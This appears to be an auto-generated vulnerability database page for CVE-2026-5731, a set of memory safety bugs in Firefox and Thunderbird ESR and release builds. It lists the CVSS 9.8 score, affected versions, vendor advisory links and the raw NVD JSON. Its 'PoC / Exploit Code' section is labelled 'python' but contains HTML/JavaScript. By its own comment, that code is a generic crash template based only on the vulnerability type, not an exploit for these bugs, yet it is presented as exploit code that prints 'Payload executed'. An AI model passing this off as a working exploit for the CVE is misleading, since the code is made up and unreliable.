CVE-2026-5731

Description

Memory safety bugs present in Firefox ESR 115.34.0, Firefox ESR 140.9.0, Thunderbird ESR 140.9.0, Firefox 149.0.1 and Thunderbird 149.0.1. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability was fixed in Firefox 149.0.2, Firefox ESR 115.34.1, Firefox ESR 140.9.1, Thunderbird 149.0.2, and Thunderbird 140.9.1.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:115.34.0:*:*:*:esr:*:*:* - VULNERABLE

cpe:2.3:a:mozilla:firefox:140.9.0:*:*:*:esr:*:*:* - VULNERABLE

cpe:2.3:a:mozilla:firefox:149.0.1:*:*:*:-:*:*:* - VULNERABLE

cpe:2.3:a:mozilla:thunderbird:140.9.0:*:*:*:esr:*:*:* - VULNERABLE

cpe:2.3:a:mozilla:thunderbird:149.0.1:*:*:*:-:*:*:* - VULNERABLE

Firefox < 149.0.2

Firefox ESR < 115.34.1

Firefox ESR < 140.9.1

Thunderbird < 149.0.2

Thunderbird ESR < 140.9.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
Conceptual PoC for Memory Corruption vulnerability
This script attempts to trigger a crash via complex object manipulation.
Note: This is a generic template based on the vulnerability type.
-->
<html>
<body>
<script>
function trigger_crash() {
    // Attempting to manipulate memory layout
    var arr = new Array(0x10000);
    for (var i = 0; i < arr.length; i++) {
        arr[i] = new Uint32Array(0x100);
    }
    // Triggering potential use-after-free or overflow scenario
    var exploit_str = "A".repeat(0xffff);
    var malformed_obj = {
        prop1: exploit_str,
        prop2: arr
    };
    // Force garbage collection or specific engine behavior
    if (window.gc) window.gc();
    console.log("Payload executed. Check for crashes.");
}
trigger_crash();
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5731
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5731
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5731/
[4] VulDB https://vuldb.com/cve/CVE-2026-5731
[5] https://bugzilla.mozilla.org/buglist.cgi?bug_id=2021894%2C2022225%2C2022252%2C2022294%2C2023007%2C2023130%2C2023191%2C2023364%2C2023829%2C2024074%2C2024417%2C2024433%2C2024436%2C2024437%2C2024453%2C2024461%2C2024462%2C2024472%2C2024474%2C2024477%2C2025364%2C2025401%2C2025402%2C2025472%2C2026287%2C2026299%2C2026305%2C2026426
[6] https://www.mozilla.org/security/advisories/mfsa2026-25/
[7] https://www.mozilla.org/security/advisories/mfsa2026-26/
[8] https://www.mozilla.org/security/advisories/mfsa2026-27/
[9] https://www.mozilla.org/security/advisories/mfsa2026-28/
[10] https://www.mozilla.org/security/advisories/mfsa2026-29/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5731", "sourceIdentifier": "[email protected]", "published": "2026-04-07T13:16:47.347", "lastModified": "2026-04-16T18:59:46.350", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Memory safety bugs present in Firefox ESR 115.34.0, Firefox ESR 140.9.0, Thunderbird ESR 140.9.0, Firefox 149.0.1 and Thunderbird 149.0.1. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability was fixed in Firefox 149.0.2, Firefox ESR 115.34.1, Firefox ESR 140.9.1, Thunderbird 149.0.2, and Thunderbird 140.9.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:115.34.0:*:*:*:esr:*:*:*", "matchCriteriaId": "BAED06E5-90AA-452C-9C25-0D716D096697"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:140.9.0:*:*:*:esr:*:*:*", "matchCriteriaId": "923FF868-1CE2-44B6-9D9E-778599365BF8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:149.0.1:*:*:*:-:*:*:*", "matchCriteriaId": "5C9EED40-0904-42A6-A3C9-9DC05CB22F2D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:140.9.0:*:*:*:esr:*:*:*", "matchCriteriaId": "152C61D8-88E4-430C-87E7-0657C8B81EB4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:149.0.1:*:*:*:-:*:*:*", "matchCriteriaId": "7A2F57F7-B2C0-49DB-BFCE-1C05818CB657"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/buglist.cgi?bug_id=2021894%2C2022225%2C2022252%2C2022294%2C2023007%2C2023130%2C2023191%2C2023364%2C2023829%2C2024074%2C2024417%2C2024433%2C2024436%2C2024437%2C2024453%2C2024461%2C2024462%2C2024472%2C2024474%2C2024477%2C2025364%2C2025401%2C2025402%2C2025472%2C2026287%2C2026299%2C2026305%2C2026426", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-25/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-26/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-27/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-28/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-29/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}